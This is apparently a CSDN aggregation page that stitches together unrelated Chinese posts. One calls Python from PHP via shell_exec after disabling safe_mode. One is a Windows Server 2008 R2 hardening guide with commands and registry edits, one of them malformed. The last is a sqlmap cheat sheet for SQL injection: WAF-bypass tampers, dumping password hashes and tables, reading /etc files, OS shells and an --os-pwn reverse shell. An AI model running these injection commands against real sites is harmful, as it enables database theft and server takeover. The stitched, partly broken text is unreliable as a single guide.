php 编辑框模拟shell_shell模拟 - CSDN
精华内容
参与话题
  • PHP通过系统命令执行Python脚本

    千次阅读 2015-04-18 00:44:04
    最近有用到支持向量机(SVM)搞机器学习的需求,目前Python对这块的支持还是蛮好的,然而前台对数据的展示和处理还是选择使用PHP来实现。 这就有了PHP和Python模块通信的需求,最初的想法是把Python模块作为一个独立的...

    最近有用到支持向量机(SVM)搞机器学习的需求,目前Python对这块的支持还是蛮好的,然而前台对数据的展示和处理还是选择使用PHP来实现。

    这就有了PHP和Python模块通信的需求,最初的想法是把Python模块作为一个独立的项目和PHP模块基于API进行通信,找了个Python的rest API框架EVEPython REST API Framework,但是这个框架除了官方文档以外,资料不多,部署起来比较麻烦,针对这个项目Python并没有做web展示的需求,那么去用个Python的web框架显然不是很划算。

    这时候想到是否可以用PHP直接调用系统命令来执行Python模块,查手册,发现exec和shell_exec函数。其中exec可以把执行的结果全部返回到$output函数里(数组),$status是执行的状态 0为成功 1为失败。shell_exec直接返回运行结果。

    我们先准备一个简单的Python脚本01.py

    print 'this is a Python program with PHP'

    然后写一个很简单的PHP脚本index.php去跑它

    <?php
    	$order = 'python 01.py';
            $data = shell_exec($order);
    
            var_dump($data);
    ?>

    时发现打印出来的$data是NULL,说明没有跑成功。但是在命令行直接执行php命令却可以得到想要的结果。原因是PHP不允许shell_exec函数在服务器中运行。

    此时编辑php.ini文件,加上safe_mode = Off,重启服务器,问题解决。





    这样一来,PHP项目就可以和Python部署在一起,彼此之间直接通过xml文件或者nosql数据库进行数据交换了。当然因为关闭了PHP的safe_mode模块,由于手上这个项目科研的性质较浓影响不大,对于商业项目,如果不是特别有把握,还是老老实实开发API吧么么哒

    展开全文
  • 一.更改终端默认端口号 步骤: 1.运行regedit 2.[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds \rdpwd\Tds \tcp],看见PortNamber值了吗?其默认值是3389,修改成所希望的端口...

    一.更改终端默认端口号

    步骤:

    1.运行regedit 2.[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds \rdpwd\Tds \tcp],看见PortNamber值了吗?其默认值是3389,修改成所希望的端口即可,例如12345 3.[HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\Tenninal Server\WinStations\ RDP\Tcp],将PortNumber的值(默认是3389)修改成端口12345(自定义)。

    4.防火墙中设置ipsec 编辑规则修改完毕,重新启动电脑,以后远程登录的时候使用端口12345就可以了。


    二.NTFS权限设置

    注意:

    1、2008R2默认的文件夹和文件所有者为TrustedInstaller,这个用户同时拥有所有控制权限。 2、注册表同的项也是这样,所有者为TrustedInstaller。 3、如果要修改文件权限时应该先设置 管理员组 administrators 为所有者,再设置其它权限。 4、如果要删除或改名注册表,同样也需先设置 管理员组 为所有者,同时还要应该到子项,

    直接删除当前项 还是删除不掉时可以先删除子项后再删除此项

    步骤:

    1.C盘只给administrators 和system权限,其他的权限不给,其他的盘也可以这样设置(web目录权限依具体情况而定)
    2.这里给的system权限也不一定需要给,只是由于某些第三方应用程序是以服务形式启动的,需要加上这个用户,否则造成启动不了。

    Windows目录要加上给users的默认权限,否则ASP和ASPX等应用程序就无法运行(如果你使用IIS的话,要引用windows下的dll文件)。

    3.c:/user/ 只给administrators 和system权限

    三.删除默认共享

    步骤:

    1.打开dos,net share 查看默认共享
    2.新建文本文档输入命令

    net share c$ /del net share d$ /del //如有E盘可再添加 默认共享名均为c$、d$等
    net share IPC$ /del net share admin$ /del 另存为sharedelte.bat

    3.运行gpedit.msc,展开windous设置—脚本(启动\关机)—启动)—右键属性—添加sharedelte.bat

    同理可编辑其它规则

    四.ipsec策略 
    以远程终端为例1.控制面板——windows防火墙——高级设置——入站规则——新建规则——端口——特定端口tcp(如3389)——允许连接 2.完成以上操作之后右击该条规则作用域——本地ip地址——任何ip地址——远程ip地址——下列ip地址—— 添加管理者ip 同理其它端口可以通过此功能对特定网段屏蔽(如80端口)

    其它请参考win2003安全优化

    Windows 2008 R2服务器的安全加固 补充

    最近托管了一台2U服务器到机房,安装的是Windows 2008系统,打算用IIS做web server,因此需要把没用的端口、服务关闭,减小风险。

    我发现现在网络上有价值的东西实在是太少了,很多人都是转载来转载去,学而不思,没有一点营养。还是自己总结总结吧,大概有以下几步:

    1. 如何关掉IPv6?

    这一点国内国外网站上基本上都有了共识,都是按照下面两步来进行。据说执行之后就剩本地换回路由还没关闭。但关闭之后我发现某些端口还是同时监听ipv4和ipv6的端口,尤其是135端口,已经把ipv4关闭了,ipv6竟然还开着。匪夷所思啊……

    先关闭网络连接->本地连接->属性->Internet协议版本 6 (TCP/IPv6)

    然后再修改注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters,增加一个Dword项,名字:DisabledComponents,值:ffffffff(十六位的8个f)

    重启服务器即可关闭ipv6

    2. 如何关闭135端口?

    这个破端口是RPC服务的端口,以前出过很多问题,现在貌似没啥漏洞了,不过还是心有余悸啊,想关的这样关:

    开始->运行->dcomcnfg->组件服务->计算机->我的电脑->属性->默认属性->关闭“在此计算机上启用分布式COM”->默认协议->移除“面向连接的TCP/IP”

    但是感觉做了以上的操作还能看到135在Listen状态,还可以试试这样。

    在cmd中执行:netsh rpc add 127.0.0.0,这样135端口只监听127.0.0.1了。

    3. 如何关闭445端口?

    445端口是netbios用来在局域网内解析机器名的服务端口,一般服务器不需要对LAN开放什么共享,所以可以关闭。

    修改注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters,则更加一个Dword项:SMBDeviceEnabled,值:0

    4. 关闭Netbios服务(关闭139端口)

    网络连接->本地连接->属性->Internet协议版本 4->属性->高级->WINS->禁用TCP/IP上的NetBIOS

    5. 关闭LLMNR(关闭5355端口)

    什么是LLMNR?本地链路多播名称解析,也叫多播DNS,用于解析本地网段上的名称,没啥用但还占着5355端口。

    使用组策略关闭,运行->gpedit.msc->计算机配置->管理模板->网络->DNS客户端->关闭多播名称解析->启用

    还有一种方法,我没尝试,如果没有组策略管理的可以试试,修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsof\Windows NT\DNSClient,新建一个Dword项,名字:EnableMulticast,值:0

    6. 关闭Windows Remote Management服务(关闭47001端口)

    Windows远程管理服务,用于配合IIS管理硬件,一般用不到,但开放了47001端口很不爽,关闭方法很简单,禁用这个服务即可。

    7. 关闭UDP 500,UDP 4500端口

    这两个端口让我搜索了半天,虽然知道应该和VPN有关,但是不知道是哪个服务在占用。最后终于找到了,其实是IKE and AuthIP IPsec Keying Modules服务在作怪。如果你的服务器上不运行基于IKE认证的VPN服务,就可以关闭了。(我用的是PPTP方式连接VPN,把ipsec和ike都关闭了)

    8. 删除文件和打印机共享

    网络连接->本地连接->属性,把除了“Internet协议版本 4”以外的东西都勾掉。

    9. 关闭文件和打印机共享

    直接停止“server”服务,并设置为禁用,重启后再右键点某个磁盘选属性,“共享”这个页面就不存在了。





    比较重要的几部

    1.更改默认administrator用户名,复杂密码
    2.开启防火墙
    3.安装杀毒软件

    1)新做系统一定要先打上补丁
    2)安装必要的杀毒软件
    3)删除系统默认共享

    4)修改本地策略——>安全选项 
    交互式登陆:不显示最后的用户名 启用
    网络访问:不允许SAM 帐户和共享的匿名枚举 启用
    网络访问: 不允许存储网络身份验证的凭据或 .NET Passports 启用
    网络访问:可远程访问的注册表路径和子路径 全部删除
    5)禁用不必要的服务
    TCP/IP NetBIOS Helper、Server、 Distributed Link Tracking Client 、Print Spooler、Remote Registry、Workstation
    6)禁用IPV6

    server 2008 r2交互式登录: 不显示最后的用户名

    其实最重要的就是开启防火墙+服务器安全狗(安全狗自带的一些功能基本上都设置的差不多了)+mysql(sqlserver)低权限运行基本上就差不多了。3389远程登录,一定要限制ip登录。

    一、系统及程序

    1、屏幕保护与电源

    桌面右键--〉个性化--〉屏幕保护程序,屏幕保护程序 选择无,更改电源设置 选择高性能,选择关闭显示器的时间 关闭显示器 选 从不 保存修改

    2、配置IIS7组件、FTP7、php 5.5.7、mysql 5.6.15、phpMyAdmin 4.1.8、phpwind 9.0、ISAPI_Rewrite环境。在这里我给大家可以推荐下阿里云的服务器一键环境配置,全自动安装设置很不错的。点击查看地址

    二、系统安全配置

    1、目录权限

    除系统所在分区之外的所有分区都赋予Administrators和SYSTEM有完全控制权,之后再对其下的子目录作单独的目录权限

    2、远程连接

    我的电脑属性--〉远程设置--〉远程--〉只允许运行带网络超级身份验证的远程桌面的计算机连接,选择允许运行任意版本远程桌面的计算机连接(较不安全)。备注:方便多种版本Windows远程管理服务器。windows server 2008的远程桌面连接,与2003相比,引入了网络级身份验证(NLA,network level authentication),XP SP3不支持这种网络级的身份验证,vista跟win7支持。然而在XP系统中修改一下注册表,即可让XP SP3支持网络级身份验证。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa在右窗口中双击Security Pakeages,添加一项“tspkg”。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders,在右窗口中双击SecurityProviders,添加credssp.dll;请注意,在添加这项值时,一定要在原有的值后添加逗号后,别忘了要空一格(英文状态)。然后将XP系统重启一下即可。再查看一下,即可发现XP系统已经支持网络级身份验证


    3、修改远程访问服务端口

    更改远程连接端口方法,可用windows自带的计算器将10进制转为16进制。更改3389端口为8208,重启生效!

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 
    "PortNumber"=dword:0002010

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 
    "PortNumber"=dword:00002010

    (1)在开始--运行菜单里,输入regedit,进入注册表编辑,按下面的路径进入修改端口的地方 
    (2)HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 
    (3)找到右侧的 "PortNumber",用十进制方式显示,默认为3389,改为(例如)6666端口 
    (4)HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp 
    (5)找到右侧的 "PortNumber",用十进制方式显示,默认为3389,改为同上的端口 
    (6)在控制面板--Windows 防火墙--高级设置--入站规则--新建规则 
    (7)选择端口--协议和端口--TCP/特定本地端口:同上的端口 
    (8)下一步,选择允许连接 
    (9)下一步,选择公用 
    (10)下一步,名称:远程桌面-新(TCP-In),描述:用于远程桌面服务的入站规则,以允许RDP通信。[TCP 同上的端口] 
    (11)删除远程桌面(TCP-In)规则 
    (12)重新启动计算机

    4、配置本地连接

    网络--〉属性--〉管理网络连接--〉本地连接,打开“本地连接”界面,选择“属性”,左键点击“Microsoft网络客户端”,再点击“卸载”,在弹出的对话框中“是”确认卸载。点击“Microsoft网络的文件和打印机共享”,再点击“卸载”,在弹出的对话框中选择“是”确认卸载。

    解除Netbios和TCP/IP协议的绑定139端口:打开“本地连接”界面,选择“属性”,在弹出的“属性”框中双击“Internet协议版本(TCP/IPV4)”,点击“属性”,再点击“高级”—“WINS”,选择“禁用TCP/IP上的NETBIOS”,点击“确认”并关闭本地连接属性。

    禁止默认共享:点击“开始”—“运行”,输入“Regedit”,打开注册表编辑器,打开注册表项“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters”,在右边的窗口中新建Dword值,名称设为AutoShareServer,值设为“0”。

    关闭 445端口:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters,新建 Dword(32位)名称设为SMBDeviceEnabled 值设为“0”

    5、共享和发现

    右键“网络” 属性 网络和共享中心  共享和发现 
    关闭,网络共享,文件共享,公用文件共享,打印机共享,显示我正在共享的所有文件和文件夹,显示这台计算机上所有共享的网络文件夹

    6、用防火墙限制Ping

    网上自己查吧,ping还是经常需要用到的

    7、防火墙的设置

    控制面板→Windows防火墙设置→更改设置→例外,勾选FTP、HTTP、远程桌面服务 核心网络

    HTTPS用不到可以不勾

    3306:Mysql 
    1433:Mssql

    8、禁用不需要的和危险的服务,以下列出服务都需要禁用。

    控制面板 管理工具 服务

    Distributed linktracking client   用于局域网更新连接信息 
    PrintSpooler  打印服务 
    Remote Registry  远程修改注册表 
    Server 计算机通过网络的文件、打印、和命名管道共享 
    TCP/IP NetBIOS Helper  提供 
    TCP/IP (NetBT) 服务上的 
    NetBIOS 和网络上客户端的 
    NetBIOS 名称解析的支持 
    Workstation   泄漏系统用户名列表 与Terminal Services Configuration 关联 
    Computer Browser 维护网络计算机更新 默认已经禁用 
    Net Logon   域控制器通道管理 默认已经手动 
    Remote Procedure Call (RPC) Locator   RpcNs*远程过程调用 (RPC) 默认已经手动 
    删除服务sc delete MySql

    9、安全设置-->本地策略-->安全选项

    在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-->Windows设置-->安全设置-->本地策略-->安全选项

    交互式登陆:不显示最后的用户名       启用 
    网络访问:不允许SAM帐户的匿名枚举       启用 已经启用 
    网络访问:不允许SAM帐户和共享的匿名枚举   启用 
    网络访问:不允许储存网络身份验证的凭据   启用 
    网络访问:可匿名访问的共享         内容全部删除 
    网络访问:可匿名访问的命名管道       内容全部删除 
    网络访问:可远程访问的注册表路径      内容全部删除 
    网络访问:可远程访问的注册表路径和子路径  内容全部删除 
    帐户:重命名来宾帐户            这里可以更改guest帐号 
    帐户:重命名系统管理员帐户         这里可以更改Administrator帐号

    10、安全设置-->账户策略-->账户锁定策略

    在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-->Windows设置-->安全设置-->账户策略-->账户锁定策略,将账户锁定阈值设为“三次登陆无效”,“锁定时间为30分钟”,“复位锁定计数设为30分钟”。

    11、本地安全设置

    选择计算机配置-->Windows设置-->安全设置-->本地策略-->用户权限分配 
    关闭系统:只有Administrators组、其它全部删除。 
    通过终端服务拒绝登陆:加入Guests组、IUSR_*****、IWAM_*****、NETWORK SERVICE、SQLDebugger   
    通过终端服务允许登陆:加入Administrators、Remote Desktop Users组,其他全部删除

    12、更改Administrator,guest账户,新建一无任何权限的假Administrator账户

    管理工具→计算机管理→系统工具→本地用户和组→用户 
    新建一个Administrator帐户作为陷阱帐户,设置超长密码,并去掉所有用户组 
    更改描述:管理计算机(域)的内置帐户

    13、密码策略

    选择计算机配置-->Windows设置-->安全设置-->密码策略 
    启动 密码必须符合复杂性要求 
    最短密码长度

    14、禁用DCOM ("冲击波"病毒 RPC/DCOM 漏洞)

    运行Dcomcnfg.exe。控制台根节点→组件服务→计算机→右键单击“我的电脑”→属性”→默认属性”选项卡→清除“在这台计算机上启用分布式 COM”复选框。

    15、ASP漏洞

    主要是卸载WScript.Shell 和 Shell.application 组件,是否删除看是否必要。

    regsvr32/u C:\WINDOWS\System32\wshom.ocx 
    regsvr32/u C:\WINDOWS\system32\shell32.dll

    删除可能权限不够

    del C:\WINDOWS\System32\wshom.ocx 
    del C:\WINDOWS\system32\shell32.dll

    如果确实要使用,或者也可以给它们改个名字。

    WScript.Shell可以调用系统内核运行DOS基本命令

    可以通过修改注册表,将此组件改名,来防止此类木马的危害。

    HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\

    改名为其它的名字,如:改为WScript.Shell_ChangeName 或 WScript.Shell.1_ChangeName

    自己以后调用的时候使用这个就可以正常调用此组件了

    也要将clsid值也改一下

    HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值

    HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值

    也可以将其删除,来防止此类木马的危害。

    Shell.Application可以调用系统内核运行DOS基本命令

    可以通过修改注册表,将此组件改名,来防止此类木马的危害。

    HKEY_CLASSES_ROOT\Shell.Application\及HKEY_CLASSES_ROOT\Shell.Application.1\改名为其它的名字,如:改为Shell.Application_ChangeName 或 Shell.Application.1_ChangeName

    自己以后调用的时候使用这个就可以正常调用此组件了

    也要将clsid值也改一下

    HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值 
    HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值

    也可以将其删除,来防止此类木马的危害。

    禁止Guest用户使用shell32.dll来防止调用此组件。

    2000使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests 
    2003使用命令:cacls C:\WINDOWS\system32\shell32.dll /e /d guests

    禁止使用FileSystemObject组件,FSO是使用率非常高的组件,要小心确定是否卸载。改名后调用就要改程序了,Set FSO = Server.CreateObject("Scripting.FileSystemObject")。

    FileSystemObject可以对文件进行常规操作,可以通过修改注册表,将此组件改名,来防止此类木马的危害。 
    HKEY_CLASSES_ROOT\Scripting.FileSystemObject\ 
    改名为其它的名字,如:改为 FileSystemObject_ChangeName 
    自己以后调用的时候使用这个就可以正常调用此组件了 
    也要将clsid值也改一下HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值 
    也可以将其删除,来防止此类木马的危害。 
    2000注销此组件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll 
    2003注销此组件命令:RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll 
    如何禁止Guest用户使用scrrun.dll来防止调用此组件? 
    使用这个命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests

    15、打开UAC

    控制面板 用户账户 打开或关闭用户账户控制

    16、程序权限

    "net.exe","net1.exe","cmd.exe","tftp.exe","netstat.exe","regedit.exe","at.exe","attrib.exe","cacls.exe","format.com","c.exe" 
    或完全禁止上述命令的执行 
    gpedit.msc-〉用户配置-〉管理模板-〉系统 
    启用 阻止访问命令提示符 同时 也停用命令提示符脚本处理 
    启用 阻止访问注册表编辑工具 
    启用 不要运行指定的windows应用程序,添加下面的 
    at.exe attrib.exe c.exe cacls.exe cmd.exe format.com net.exe net1.exe netstat.exe regedit.exe tftp.exe

    17、Serv-u安全问题(个人建议不是特别高的要求没必要用serv_U可以使用FTP服务器 FileZilla Server )

    安装程序尽量采用最新版本,避免采用默认安装目录,设置好serv-u目录所在的权限,设置一个复杂的管理员密码。修改serv-u的banner信息,设置被动模式端口范围(4001—4003)在本地服务器中设置中做好相关安全设置:包括检查匿名密码,禁用反超时调度,拦截“FTP bounce”攻击和FXP,对于在30秒内连接超过3次的用户拦截10分钟。域中的设置为:要求复杂密码,目录只使用小写字母,高级中设置取消允许使用MDTM命令更改文件的日期。

    更改serv-u的启动用户:在系统中新建一个用户,设置一个复杂点的密码,不属于任何组。将servu的安装目录给予该用户完全控制权限。建立一个FTP根目录,需要给予这个用户该目录完全控制权限,因为所有的ftp用户上传,删除,更改文件都是继承了该用户的权限,否则无法操作文件。另外需要给该目录以上的上级目录给该用户的读取权限,否则会在连接的时候出现530 Not logged in, home directory does not exist。比如在测试的时候ftp根目录为d:soft,必须给d盘该用户的读取权限,为了安全取消d盘其他文件夹的继承权限。而一般的使用默认的system启动就没有这些问题,因为system一般都拥有这些权限的。如果FTP不是必须每天都用,不如就关了吧,要用再打开。

    下面是其它网友的补充:大家可以参考下

    Windows Web Server 2008 R2服务器简单安全设置

    1、新做系统一定要先打上已知补丁,以后也要及时关注微软的漏洞报告。略。 
    2、所有盘符根目录只给system和Administrator的权限,其他的删除。
    3、将所有磁盘格式转换为NTFS格式。
    命令:convert c:/fs:ntfs c:代表C盘,其他盘类推。WIN08 r2 C盘一定是ntfs格式的,不然不能安装系统 
    4、开启Windows Web Server 2008 R2自带的高级防火墙。
    默认已经开启。
    5、安装必要的杀毒软件如mcafee,安装一款ARP防火墙,安天ARP好像不错。略。
    6、设置屏幕屏保护。
    7、关闭光盘和磁盘的自动播放功能。
    8、删除系统默认共享。
    命令:net share c$ /del 这种方式下次启动后还是会出现,不彻底。也可以做成一个批处理文件,然后设置开机自动执动这个批处理。但是还是推荐下面的方法,直修改注册表的方法。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanmanserver\parameters下面新建AutoShareServer ,值为0 。。重启一下,测试。已经永久生效了。
    9、重命Administrator和Guest帐户,密码必须复杂。GUEST用户我们可以复制一段文本作为密码,你说这个密码谁能破。。。。也只有自己了。...
    重命名管理员用户组Administrators。
    10、创建一个陷阱用户Administrator,权限最低。

    上面二步重命名最好放在安装IIS和SQL之前做好,那我这里就不演示了。

    11、本地策略——>审核策略
    审核策略更改 成功 失败
    审核登录事件 成功 失败
    审核对象访问 失败
    审核过程跟踪 无审核
    审核目录服务访问 失败
    审核特权使用 失败
    审核系统事件 成功 失败
    审核账户登录事件 成功 失败
    审核账户管理 成功 失败

    12、本地策略——>用户权限分配
    关闭系统:只有Administrators 组、其它的全部删除。

    管理模板 > 系统 显示“关闭事件跟踪程序”更改为已禁用。这个看大家喜欢。

    13、本地策略——>安全选项
    交互式登陆:不显示最后的用户名 启用
    网络访问:不允许SAM 帐户和共享的匿名枚举 启用
    网络访问: 不允许存储网络身份验证的凭据或 .NET Passports 启用
    网络访问:可远程访问的注册表路径 全部删除
    网络访问:可远程访问的注册表路径和子路径 全部删除
    14、禁止dump file 的产生。
    系统属性>高级>启动和故障恢复把 写入调试信息 改成“无”
    15、禁用不必要的服务。
    TCP/IP NetBIOS Helper
    Server 
    Distributed Link Tracking Client
    Print Spooler
    Remote Registry
    Workstation

    16、站点方件夹安全属性设置
    删除C:\ inetpub 目录。删不了,不研究了。把权限最低。。。禁用或删除默认站点。我这里不删除了。停止即可。一般给站点目录权限为:
    System 完全控制
    Administrator 完全控制
    Users 读
    IIS_Iusrs 读、写
    在IIS7 中删除不常用的映射 建立站点试一下。一定要选到程序所在的目录,这里是www.postcha.com目录,如果只选择到wwwroot目录的话,站点就变成子目录或虚拟目录安装了,比较麻烦。所以一定要选择站点文件所在的目录,填上主机头。因为我们是在虚拟机上测试,所以对hosts文件修改一下,模拟用域名访问。真实环境中,不需要修改hosts文件,直接解释域名到主机就行。目录权限不够,这个下个教程继续说明。至少,我们的页面已经正常了。

    17、禁用IPV6。看操作。 

    在windows server 2008 R2操作系统下部署weblogic web application,部署完成后进行测试,发现测试页的地址使用的是隧道适配器的地址,而不是静态的ip地址,而且所在的网络并没有ipv6接入,因此决定将ipv6和隧道适配器禁用,操作如下:
    禁用ipv6很简单,进入 控制面板\网络和 Internet\网络和共享中心 单击面板右侧“更改适配器设置”进入网络连接界面,选择要设置的连接,右键选择属性,取消Internet 协议版本 6 (TCP/IPv6) 前面的选择框确定即可。

    要禁用隧道适配器需要更改注册表信息,操作如下:
    开始 -> 运行 - > 输入 Regedit 进入注册表编辑器 
    定位到: 
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters] 
    右键点击 Parameters,选择新建 -> DWORD (32-位)值 
    命名值为 DisabledComponents,然后修改值为 ffffffff (16进制) 
    重启后生效 
    DisableComponents 值定义:
    0, 启用所有 IPv 6 组件,默认设置 
    0xffffffff,禁用所有 IPv 6 组件, 除 IPv 6 环回接口 
    0x20, 以前缀策略中使用 IPv 4 而不是 IPv 6 
    0x10, 禁用本机 IPv 6 接口 
    0x01, 禁用所有隧道 IPv 6 接口 
    0x11, 禁用除用于 IPv 6 环回接口所有 IPv 6 接口

    OVER ! 重启下服务器吧


    展开全文
  • sqlmap的基本命令使用

    万次阅读 2016-03-24 19:27:02
    本人小白,初次认识sqlmap,很多都是转载资料,只是学习研究一下! 练习的网站可以用谷歌搜一下; ...POST登录注入:sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables  sqlmap.py -u 登

    本人小白,初次认识sqlmap,很多都是转载资料,只是学习研究一下!

    练习的网站可以用谷歌搜一下;


    cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2



    POST登录框注入:sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables
                    sqlmap.py -u 登录的地址 --forms 自动判断注入
                    sqlmap.py -u 登录的地址 --data "指定参数"


    绕过waf防火墙:sqlmap.py -u 注入点 -v 3 --dbs  --batch --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py




    -u #注入点
    -g 谷歌搜索
    -f #指纹判别数据库类型
    -b #获取数据库版本信息
    -p #指定可测试的参数(?page=1&id=2 -p “page,id”)
    -D “” #指定数据库名
    -T “” #指定表名
    -C “” #指定字段
    -s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)
    –columns #列出字段
    –current-user #获取当前用户名称
    –current-db #获取当前数据库名称
    –users #列数据库所有用户
    –passwords #数据库用户所有密码
    –privileges #查看用户权限(–privileges -U root)
    -U #指定数据库用户
    –dbs #列出所有数据库
    –tables -D “” #列出指定数据库中的表
    –columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
    –dump-all #列出所有数据库所有表
    –exclude-sysdbs #只列出用户自己新建的数据库和表
    –dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
    –dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
    –dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
    –os #指定系统(Linux,Windows)
    --sql -shell  写shell

    --delay 延迟的时间

    --safe-freq 次数
    -v #详细的等级(0-6)
    0:只显示Python的回溯,错误和关键消息。
    1:显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容
    –privileges #查看权限
    –is-dba #是否是数据库管理员
    –roles #枚举数据库用户角色
    –udf-inject #导入用户自定义函数(获取系统权限)
    –union-check #是否支持union 注入
    –union-cols #union 查询表记录
    –union-test #union 语句测试
    –union-use #采用union 注入
    –union-tech orderby #union配合order by
    –method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)
    –cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
    –referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
    –user-agent “” #自定义user-agent
    –proxy “http://127.0.0.1:8118″ #代理注入
    –string “” #指定关键词
    –threads    #采用多线程(–threads 3)
    –sql-shell #执行指定sql命令
    –sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
    –file-read #读取指定文件
    –file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
    –file-dest #要写入的文件绝对路径
    –os-cmd=id #执行系统命令
    –os-shell #系统交互shell
    –os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
    –msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
    –os-smbrelay #
    –os-bof #
    –reg-read #读取win系统注册表

    –priv-esc #
    –time-sec= #延迟设置 默认–time-sec=5 为5秒
    -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
    –eta #盲注
    /pentest/database/sqlmap/txt/
    common-columns.txt  字段字典
    common-outputs.txt
    common-tables.txt 表字典
    keywords.txt
    oracle-default-passwords.txt
    user-agents.txt
    wordlist.txt




    1)判断当前用户是否是dba
    python sqlmap.py -u "url" --is-dba -v 1
    2)--users:列出数据库管理系统用户
    python sqlmap.py -u "url" --users -v 0


    3)--passwords:数据库用户密码(hash)
    python sqlmap.py -u "url" --passwords -v 0
    python sqlmap.py -u "url" --passwords -U sa -v 0


    4)查看用户权限
    python sqlmap.py -u "url" --privileges -v 0
    python sqlmap.py -u "url" --privileges -U postgres -v 0


    5)--dbs可以利用的数据库
    python sqlmap.py -u "url" --dbs -v 0


    6)--tables列数据库表
    python sqlmap.py -u "url" --tables -D "information_scheam"


    -D:指定数据名称


    7)--columns 列出表中的列名
    python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1

    -T:指定表名,-D:指定库名


    8)--dump列表中指定列的内容
    python sqlmap.py -u "url" --dump -T "users" -D "testdb"
    -C:可以指定字段


    指定列的范围为2到4
    python sqlmap.py -u "url" --dump -T "users" -D "testdb"  --start 2 --stop 4 -v 0


    9)--dumap-all列出所有数据库,所有表内容
    python sqlmap.py -u "url" --dump-all -v 0


    只列出用户自己新建的数据库和表的内容


    python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0


    10)--file读取文件内容[load_file()函数]
    python sqlmap.py -u "url" --file /etc/password


    11)执行SQL
    python sqlmap.py -u "url" --sql-shell


    12)-p 指定参数
    python sqlmap.py -u "url" -v 1 -p "id"


    -p可以指定多参数-p "cat,id"


    13)POST提交
    python sqlmap.py -u "url" --method POST --data "id=1"


    14)COOKIE提交
    python sqlmap.py -u "url" --cookie "id=1" -v 1


    cookie值可以由TamperData抓取


    15)refer欺骗

    python sqlmap.py -u "url" --refer "url" -v 3


    16)使用自定义user-agent或者user-agents.txt
    python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3


    python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"


    17)使用多线程猜解
    python sqlmap.py -u "url" -v 1 --current-user --threads 3


    18)指定数据库,绕过SQLMAP的自动检测
    python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"


    19)指定操作系统绕过SQLMAP自动检测
    python sqlmap.py -u "url" -v 2 --os "Windows"


    20)--prefix and --postfix自定义payload
    python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"


    21)union注入测试
    python sqlmap.py -u "url" --union-test -v -1


    22)配合order by
    python sqlmap.py -u "url" --union-test --union-tech orderby -v 1


    23)python sqlmap.py -u "url" -v 1 --union-use --banner


    24)python sqlmap.py -u "url" -v 5 --union-use --current-user


    25)python sqlmap.py -u "url" -v 1 --union-use --dbs


    常用语句
